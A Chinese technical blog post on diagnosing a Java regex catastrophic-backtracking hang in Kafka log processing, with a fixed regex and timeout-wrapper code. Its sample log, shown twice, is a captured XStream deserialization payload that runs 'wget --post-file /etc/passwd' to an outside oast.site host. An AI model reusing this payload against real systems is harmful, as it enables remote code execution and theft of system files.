正則匹配卡死怎麼來的？
背景
背景：這次問題的背景是專案上遇到了，在使用正則對資料進行提取時，發現提取不到，日誌解析不成功，造成kafka訊息有積壓
專案現場問題
專案中某一個微服務再處理正則時，發現在處理部分日誌時候，執行緒會卡死，執行緒卡死，因此kafka中的訊息定會積壓，後面的日誌即不會處理。關鍵程式碼截圖如下：
問題跟蹤
相關正則如下：
.*<.*>[a-zA-Z]{3,}\s*.*?\s.*?\s(.*?)\s.*?\{(.*)}.*\n*
從問題表象來看，發現處理正則匹配這一步，執行緒卡死，即一直等待掛起。一開始考慮正則有問題，但是發現，這個正則可以正常處理日誌，只是當遇到部分日誌時候，會出現卡死現象，於是，覺得問題應該出現在日誌上。出現問題的日誌原文如下（已遮蔽了相關敏感資訊，但足夠復現問題）：
<190>Jul 27 16:14:02 openresty nginx: {"app_no": "", "client_ip": "1.1.1.1", "referer": "", "request": "POST /rest-showcase/orders/3 HTTP/1.0", "status": 500, "bytes":576, "agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1 Safari/537.36", "request_time": "0.001", "date": "2022-07-27T16:14:02+08:00", "request_body": "<map>\r\n <entry>\r\n <jdk.nashorn.internal.objects.NativeString>\r\n <flags>0</flags>\r\n <value class=\"com.sun.xml.internal.bindruntime.unmarshaller.Base64Data\">\r\n <dataHandler>\r\n <dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\">\r\n <is class=\"javax.crypto.CipherInputStream\">\r\n <cipher class=\"javax.crypto.NullCipher\">\r\n <initialized>false</initialized>\r\n <opmode>0</opmode>\r\n <serviceIterator class=\"javax.imageio.spi.FilterIterator\">\r\n <iter class=\"javax.imageio.spi.FilterIterator\">\r\n <iter class=\"java.util.Collections$EmptyIterator\"/>\r\n <next class=\"java.lang.ProcessBuilder\">\r\n <command>\r\n <string>wget</string>\r\n <string>--post-file</string>\r\n <string>/etc/passwd</string>\r\n <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\r\n </command>\r\n <redirectErrorStream>false</redirectErrorStream>\r\n </next>\r\n </iter>\r\n <filter class=\"javax.imageio.ImageIO$ContainsFilter\">\r\n <method>\r\n <class>java.lang.ProcessBuilder</class>\r\n <name>start</name>\r\n <parameter-types/>\r\n </method>\r\n <name>asdasd</name>\r\n </filter>\r\n <next class=\"string\">asdasd</next>\r\n </serviceIterator>\r\n <lock/>\r\n </cipher>\r\n <input class=\"java.lang.ProcessBuilder$NullInputStream\"/>\r\n <ibuffer></ibuffer>\r\n <done>false</done>\r\n <ostart>0</ostart>\r\n <ofinish>0</ofinish>\r\n <closed>false</closed>\r\n </is>\r\n <consumed>false</consumed>\r\n </dataSource>\r\n <transferFlavors/>\r\n </dataHandler>\r\n <dataLen>0</dataLen>\r\n </value>\r\n </jdk.nashorn.internal.objects.NativeString>\r\n <jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/>\r\n </entry>\r\n <entry>\r\n <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n <jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>\r\n </entry>\r\n</map>\r\n"}
懷疑是日誌中有特殊字元造成，透過分析日誌，發現日誌並沒有問題。再度分析問題後，發現，這一步正則匹配卡死，會影響Kafka訊息處理，於是提出最佳化方案，不能因為這些日誌資料，進而影響系統處理日誌資料。
由於這裡的執行緒是卡死狀態，一開始並不理解，透過隱喻假設這裡執行緒大概出現了兩種問題：
- 執行緒死迴圈
- 執行緒資源被鎖，一直掛起等待
透過隱喻問題，然後在尋找解決方案，這裡提出了兩種最佳化方案：
-
啟動監控執行緒，這裡在處理正則時，如果匹配成功則會返回處理成功的標誌，而監控執行緒會一直監控標誌，如果在長時間等待後，發現標誌始終是處理不成功，那麼將直接使用stop停止正則處理執行緒。然後監控執行緒結束。這樣下一條日誌訊息就會繼續消費。
- 優點： 每次訊息處理正則時，都會進行監控，甚至，這裡還能使用監控執行緒，將標誌位進行擴充套件，檢測主執行緒處理日誌，每一步的耗時，從而對程式做出更進一步的最佳化。
- 缺點： 每處理一條日誌，就意味著除了消費主執行緒外，都要伴隨著一個監控執行緒對其進行監控，如果使用執行緒池，則需要考慮執行緒上下文的問題，需要考慮其效能。其次，再關閉主執行緒時，使用了stop方法，這在JDK中已經不推薦使用。（為什麼要使用stop?，因為主執行緒被卡死，已經沒有辦法使用isInterrupted來判斷主執行緒是否業務中斷。） ，在demo的編寫測試時，關閉主執行緒使用了ThreadGroup特性，這裡並沒有測試Kafka的消費執行緒建立原始碼是否有使用ThreadGroup特性，如果有，那麼這裡監控執行緒則不能使用Thread.enumerate(ret)方法。
這裡也可以參考一下JDK的原始碼註釋：
-
使用子執行緒處理正則匹配，在主執行緒中使用FutureTask獲取子執行緒處理結果，一旦超時，那麼使用interrupt將子執行緒設定中斷，子執行緒遍歷匹配方法也將根據isInterrupted()判斷是否中斷而中斷，這裡我已經封裝好了工具類供大家使用，有興趣可以參看具體程式碼實現。
- 優點： 正則處理使用了子執行緒，主執行緒獲取等待匹配結果，如果超時則日誌記錄正則和日誌資料，並返回null，後續處理程式會丟擲異常，然後執行緒結束，然後會繼續消費Kafka訊息。
- 缺點： 每處理一條日誌，除了主執行緒，就需要單獨開啟一個正則處理執行緒，這裡需要考慮效能。
在處理完上述問題後，考慮後續服務的處理日誌可以使用執行緒池的方式，來提升日誌處理的效能。但是一旦使用執行緒池，若遇到上述問題。這裡我們分析：
如果使用了執行緒池，假設遇到正則卡死問題，那麼執行緒池中的執行緒會被耗盡，並且執行緒池中所有的執行緒都會在處理正則這一步卡死，Kafka中的訊息會進入執行緒池的任務佇列，由於執行緒池的特性，如果沒有詳細配置，那麼最終就會出現日誌訊息建立任務丟棄的異常。
現在，我們解決掉了正則卡死的問題，那麼，這裡就可以使用執行緒池來處理訊息，如果正則卡死，那麼子執行緒會中斷，同時主執行緒拋異常，不會影響會有訊息的處理。
至此,問題雖然得到了解決，但是產生問題的原因卻沒有一個較好的結論，本著程式設計應該知其然更知其所以然的想法，繼續對問題追根刨底
在查閱資料解決問題時，發現一篇文章，2007年阿里也曾出現了類似問題，阿里Lazada賣家中心做一個自助註冊的專案，上線後，發現CPU有時會飆到100%的情況。有興趣的可以參看原文字文末節的參考文章。
閱讀完這篇部落格後，簡直是醍醐灌頂，這不正是我們專案所遇到的問題，於是乎，開始深剖析正則處理和正則回溯問題。最後發現將正則修改為如下：，就可以正常匹配這種日誌。
<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})
到這裡，才發現專案問題的根本是正則問題，並非日誌資料問題。簡單描述就是：正則處理，JAVA在處理正則時候，使用的正則引擎是NFA(不確定型有窮自動機),這種引擎會在貪婪模式下發生正則回溯問題，一旦字串的數量過於龐大，那麼遇見正則回溯後，正則匹配的計算將是指數級別的，這對CPU來說是災難級的。所以專案中，正則匹配一行程式碼會卡死，其實並不是死迴圈，也不是執行緒掛起，而是執行緒一直在計算。
怎麼最佳化？
最佳化方案
即然發現了問題所在，那麼最優的方案就是當即處理專案中有問題的正則。同時在專案中使用正則的地方，如果資料是不確定的外部資料，那麼都建議使用正則工具類來進行匹配獲取，雖然會開闢子執行緒，但是避免了執行緒卡死，CPU飆升的問題。同時監控執行緒做保留方案，在日後的使用中，如果需要用到，可以用來做效能分析。
處理正則問題
再對有問題的正則使用regex debug進行分析後,發現正則確實存在回溯問題
重新對日誌原文分析，使用以下正則即可匹配成功：
<.*?>[a-zA-Z]{3,}?\s[a-zA-Z0-9]{1,}\s[a-zA-Z0-9:]{1,}\s([a-zA-Z0-9]{1,})\s[a-zA-Z0-9]{1,}:\s(\{.*\})
使用子執行緒來匹配正則實現
這裡封裝了正則處理工具類，具體實現程式碼參考
- RegexUtil.java
import lombok.extern.slf4j.Slf4j;
import java.util.concurrent.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* 處理正則回溯引起超時問題
*
* @author cg
*/
@Slf4j
public class RegexUtil {
/**
* 使用單獨的執行緒來進行正則處理，避免出現超時卡死的情況
* @return 返回正則匹配結果, 當匹配失敗或匹配超時，返回null
*/
public static Matcher match(String text, String regx, long timeout, TimeUnit unit) {
Callable<Matcher> regexMatchCallable = () -> {
Pattern compile = Pattern.compile(regx);
Matcher matcher = compile.matcher(new InterruptCharSequence(text));
if (matcher.matches()) {
return matcher;
}else {
log.info("正則匹配失敗，日誌原文為 {}", text);
return null;
}
};
FutureTask<Matcher> futureTask = new FutureTask<>(regexMatchCallable);
Thread regexMatchThread = new Thread(futureTask);
regexMatchThread.start();
Matcher matcher = null;
try {
matcher = futureTask.get(timeout, unit);
} catch (TimeoutException e) {
log.warn("正則處理超時，日誌 {}", text);
regexMatchThread.interrupt();
} catch (ExecutionException | InterruptedException e) {
log.error("獲取執行緒執行結果異常", e);
regexMatchThread.interrupt();
}
return matcher;
}
}
- InterruptCharSequence.java
import lombok.extern.slf4j.Slf4j;
/**
* @author cg
*/
@Slf4j
public class InterruptCharSequence implements CharSequence {
CharSequence inner;
public InterruptCharSequence(CharSequence inner) {
super();
this.inner = inner;
}
@Override
public char charAt(int index) {
if (Thread.currentThread().isInterrupted()) {
log.info("InterruptCharSequence is Interrupted, Please check Trigger Thread!");
log.info("regex error log is :{}", this);
throw new RuntimeException("Interrupted!");
}
return inner.charAt(index);
}
@Override
public int length() {
return inner.length();
}
@Override
public CharSequence subSequence(int start,int end) {
return new InterruptCharSequence(inner.subSequence(start, end));
}
@Override
public String toString() {
return inner.toString();
}
}
監控執行緒實現
這裡程式碼封裝了簡單的demo,具體程式碼實現參考：
import java.util.concurrent.atomic.AtomicBoolean;
public class TestMonitor extends Thread {
private String name;
private AtomicBoolean atomicBoolean;
public TestMonitor(String name, AtomicBoolean isBlockThreadRegx) {
this.name = name;
this.atomicBoolean = isBlockThreadRegx;
}
@Override
public void run() {
//啟動監控執行緒
//超時時間4s
try {
Thread.sleep(10000);
} catch (InterruptedException e) {
e.printStackTrace();
}
//根據執行緒名稱結束執行緒
int i = Thread.activeCount();
Thread ret[] = new Thread[i];
Thread.enumerate(ret);
for (Thread thread : ret) {
if (thread.getName().equalsIgnoreCase(name) && atomicBoolean.get()) {
thread.stop();
}
}
}
}
import com.alibaba.fastjson.JSONObject;
import org.apache.commons.lang3.ArrayUtils;
import java.util.Arrays;
import java.util.Objects;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TestPattern {
public static void main(String[] args) throws Exception {
String name = Thread.currentThread().getName();
//是否是阻塞執行緒正則
AtomicBoolean isBlockThreadRegx = new AtomicBoolean(true);
//啟動監控執行緒
TestMonitor testMonitor = new TestMonitor(name, isBlockThreadRegx);
testMonitor.start();
System.out.println("開始執行MainThread");
final boolean matcher = getMatcher();
isBlockThreadRegx.set(false);
System.out.println(matcher);
System.out.println("MainThread執行結束");
}
private static boolean getMatcher() {
String pattern = ".*<.*>[a-zA-Z]{3,}\\s*.*?\\s.*?\\s(.*?)\\s.*?\\{(.*)}.*\\n*";
String text = "<190>Jul 27 16:14:02 openresty nginx: {\"app_no\": \"\", \"client_ip\": \"1.1.1.1\", \"referer\": \"\", \"request\": \"POST /struts2-rest-showcase/orders/3 HTTP/1.0\", \"status\": 500, \"bytes\":576, \"agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1.1.1.1 Safari/537.36\", \"request_time\": \"0.001\", \"date\": \"2022-07-27T16:14:02+08:00\", request_body\": \"<map>\\r\\n <entry>\\r\\n <jdk.nashorn.internal.objects.NativeString>\\r\\n <flags>0</flags>\\r\\n <value class=\\\"com.sun.xml.internal.bind.v2.runtime.Base64Data\\\">\\r\\n <dataHandler>\\r\\n <dataSource class=\\\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\\\">\\r\\n <is class=\\\"javax.crypto.CipherInputStream\\\">\\r\\n <cipher class=\\\"javax.crypto.NullCipher\\\">\\r\\n <initialized>false</initialized>\\r\\n <opmode>0</opmode>\\r\\n <serviceIterator class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n <iter class=\\\"javax.imageio.spi.FilterIterator\\\">\\r\\n <iter class=\\\"java.util.Collections$EmptyIterator\\\"/>\\r\\n <next class=\\\"java.lang.ProcessBuilder\\\">\\r\\n <command>\\r\\n <string>wget</string>\\r\\n <string>--post-file</string>\\r\\n <string>/etc/passwd</string>\\r\\n <string>cbgf7fkgduie5grbenfgh138ycfnpipzw.oast.site</string>\\r\\n </command>\\r\\n <redirectErrorStream>false</redirectErrorStream>\\r\\n </next>\\r\\n </iter>\\r\\n <filter class=\\\"javax.imageio.ImageIO$ContainsFilter\\\">\\r\\n <method>\\r\\n <class>java.lang.ProcessBuilder</class>\\r\\n <name>start</name>\\r\\n <parameter-types/>\\r\\n </method>\\r\\n <name>asdasd</name>\\r\\n </filter>\\r\\n <next class=\\\"string\\\">asdasd</next>\\r\\n </serviceIterator>\\r\\n <lock/>\\r\\n </cipher>\\r\\n <input class=\\\"java.lang.ProcessBuilder$NullInputStream\\\"/>\\r\\n <ibuffer></ibuffer>\\r\\n <done>false</done>\\r\\n <ostart>0</ostart>\\r\\n <ofinish>0</ofinish>\\r\\n <closed>false</closed>\\r\\n </is>\\r\\n <consumed>false</consumed>\\r\\n </dataSource>\\r\\n <transferFlavors/>\\r\\n </dataHandler>\\r\\n <dataLen>0</dataLen>\\r\\n </value>\\r\\n </jdk.nashorn.internal.objects.NativeString>\\r\\n <jdk.nashorn.internal.objects.NativeString reference=\\\"../jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n </entry>\\r\\n <entry>\\r\\n <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n <jdk.nashorn.internal.objects.NativeString reference=\\\"../../entry/jdk.nashorn.internal.objects.NativeString\\\"/>\\r\\n </entry>\\r\\n</map>\\r\\n\"}\n";
final Pattern compile = Pattern.compile(pattern);
final Matcher matcher = compile.matcher(text);
return matcher.matches();
}
}
最優選擇方案
即然發現了正則的問題，最好的方式就是從根源上解決問題，編寫正則的時候儘量使用非貪婪模式，正則測試推薦去Regex Debug測試，或者使用RegexBuddy測試 。但終歸而言，這是一種編碼約定，考慮到約定破壞的場景，最好在編碼中在使用工具類來匹配正則，也可以記錄有問題的日誌和正則
參考文章
值得一提的是，在上述兩篇文章中，作者對正則回溯的表達都存在歧義，在初次閱讀篇章時，對回溯的理解也是產生了各種疑問，最後在單獨對正則回溯的解釋中理解了正則回溯的意義，但這並不影響上述文章中遇到的問題帶給我們的啟示，正是有了上述文章的啟示，才能更準確的解釋我們專案中所遇到的問題。關於正則回溯，建議參考以下文章